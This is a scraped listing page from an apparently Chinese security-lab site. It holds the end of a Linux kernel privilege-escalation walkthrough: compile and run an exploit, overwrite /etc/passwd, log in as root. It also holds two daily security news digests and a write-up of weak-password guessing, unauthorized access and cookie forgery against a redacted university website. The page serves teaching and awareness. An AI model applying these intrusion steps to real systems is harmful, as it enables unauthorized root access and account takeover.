https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-image-unsigned-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb    wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-modules-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb     下载完毕后安装   sudo dpkg -i *.deb   之后重启虚拟机即可,如果中间报错的话,需要重新下载依赖进行安装,这里升级依赖可参考 https://blog.csdn.net/qq_50598558/article/details/119063124  重启之后内核版本成功升级为5.9.0    利用exp进行提权,编译提权脚本   gcc -o exploit exploit.c    ./exploit    临时目录/tmp下生成了一个passwd的备份文件    这个时候需要利用低权限用户将原来的passewd文件进行覆盖   mv /tmp/passwd.bak /etc/passwd    这个时候已成功提权,利用密码为aaron对root用户进行登录    修复建议  • 建议将linux内核升级为安全版本,目前在 Linux 5.10.102、5.15.25 和 5.16.11版本已修复。  • 存在问题终端或者服务器不要映射在公网上。
网络安全日报 2022年03月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、西门子解决了 90 多个因第三方组件引入的漏洞 https://www.securityweek.com/siemens-addresses-over-90-vulnerabilities-affecting-third-party-components 2、Mitel 设备被滥用于 DDoS攻击,放大率达到创纪录的4,294,967,296:1 https://www.securityweek.com/mitel-devices-abused-ddos-vector-record-breaking-amplification-ratio 3、APC Smart-UPS 设备中的严重漏洞可导致被远程入侵 https://thehackernews.com/2022/03/critical-bugs-could-let-attackers.html 4、研究人员披露了影响 Pascom 云电话系统 ( CPS ) 的三个严重漏洞 https://thehackernews.com/2022/03/critical-rce-bugs-found-in-pascom-cloud.html 5、Android 2022 年 3 月安全更新补丁修复了39个漏洞 https://www.securityweek.com/androids-march-2022-security-updates-patch-39-vulnerabilities 6、电子商务技术巨头 Mercado Libre 确认源代码数据泄露 https://www.bleepingcomputer.com/news/security/e-commerce-giant-mercado-libre-confirms-source-code-data-breach/ 7、在线学习平台Moodle中存在SQL注入漏洞 https://portswigger.net/daily-swig/sql-injection-vulnerability-in-e-learning-platform-moodle-could-enable-database-takeover 8、英伟达泄露数据正被用来制作伪装成驱动的病毒 http://www.cnbeta.com/articles/tech/1244419.htm 9、MITRE Engage 发布了 V1 版本 https://www.anquanke.com/post/id/269504 10、新的攻击绕过了针对 Intel 和 ARM CPU 中 Spectre 漏洞的硬件防御 https://www.csoonline.com/article/3652525/new-attack-bypasses-hardware-defenses-for-spectre-flaw-in-intel-and-arm-cpus.html
记一次COOKIE的伪造登录
一次未授权访问和COOKIE的伪造登录   0x01:发现它的网址如此   通过信息收集—发现它的密码规则如下(因重点是COOKIE的伪造登录,故密码规则就不放图了,你懂的…)   账户:  xxxx   密码:   Aa1xxxx   0x02:爆破一个弱口令的账户进去,发现是低权限,java写的网址…(java写的一般涉及的都是越权,未授权之类的额….)   0x03:仔细捣鼓了许久,发现毛线都没有一个….   get请求,无明显的越权操作….   0x04:正当毫无思绪的时候,换了个思路去想,如果能拿到高权限的账户,就可以发现进一步有哪些操作…如果去发下拿下账户是高权限….此时,看到这我陷入了沉思,一般这种情况都会暴露用户名,再结合密码规则..,去看看,看能不能摸到管理员…   0x05:通过发现的用户名,打算进行弱口令尝试   但是突然发现它的url有点怪…   http://xxxxx.xxxxx.edu.cn/xxxxxx/frame.htm?title=&url=http://xxxxx.xxxxx.edu.cn/xxxxxx& /common/user_xxxxxx/&plug_in_js=&system_owner_app=/xxxxxx&_system_todo=newReceiver(true)   就直接马上想到未授权这一块….   直接掏出其他浏览器,不进行登录,进行进行访问..   好家伙,直接未授权..   既然未授权存在,那么这个系统在web端多半就千疮百孔….   ………   现在的目标就是拿到高权限的用户,然后找到它的有价值的url直接未授权即可,然后再测试cookie的伪造……   只撞到一个管理员权限..   0x06:现在高权限用户拿到了,刚刚已经说了,存在未授权的漏洞,现在马上试试,看能不能在账户管理这个地方是否有未授权..(发现不存在未授权,但存在COOKIE伪造)   注意,我在burosuit中通过查看匹配,来判断是否能够访问成功。   当有cookie的时候   0x07:按道理来说,不应该如此,应该存在其他漏洞,于是我我就慢慢去删除COOKIE找到最后端验证的COOKIE,也就是COOkie的伪造是存在。     后面的过程就是不停的伪造,管他什么未授权漏洞,还是COOKIE伪造,一锅烩了,全部COOKIE伪造就好…….   到此为止,这个简单的系统就摸进去了…   总结思路:    1.先是通过弱口令规则,发现存在未授权。    2.再通过弱口令规则,找到管理员,进行继续找危害大的未授权url。    3.再寻找过程中,发现账户账户管理处存在不存在未授权,而是存在COOKIE的伪造….    4.点到为止…   换个网址…好家伙,还通杀….   总结:   1.Java类型的网站,感觉挖的更多是越权,未授权的这一块。   2.在测试过程中,每个点都不能放过…   3.挖洞更多的是细心。   实验推荐   实验:Cookie注入(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014081415213800001>>
网络安全日报 2022年03月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、SAP 修补监控解决方案中的关键安全漏洞 https://www.securityweek.com/sap-patches-critical-security-flaws-monitoring-solutions 2、周二补丁日:微软修复74个漏洞含多个代码执行漏洞 https://www.securityweek.com/patch-tuesday-microsoft-fixes-multiple-code-execution-flaws 3、 Axeda 平台中七个严重漏洞影响100多家制造商的150多种设备型号 https://securityaffairs.co/wordpress/128810/hacking/access7-flaws.html 4、Ragnar Locker 勒索软件团伙入侵了美国52个关键基础设施网络 https://www.freebuf.com/news/324094.html 5、工信部发布《车联网网络安全和数据安全标准体系建设指南》 https://www.freebuf.com/news/324069.html 6、研究人员披露了惠普UEFI固件16个高危漏洞,影响数百万台惠普设备 https://thehackernews.com/2022/03/new-16-high-severity-uefi-firmware.html 7、PROPHET SPIDER 利用 Citrix ShareFile 漏洞攻击IIS Web服务器 https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile 8、Rompetrol加油站网络遭到Hive勒索软件攻击 https://www.bleepingcomputer.com/news/security/rompetrol-gas-station-network-hit-by-hive-ransomware/ 9、PressReader平台遭到网络攻击导致系统中断 https://www.zdnet.com/article/pressreader-service-partially-returns-after-cyberattack-causes-outage/ 10、微软Azure漏洞可能允许攻击者访问客户账户 https://thehackernews.com/2022/03/microsoft-azure-autowarp-bug-could-have.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页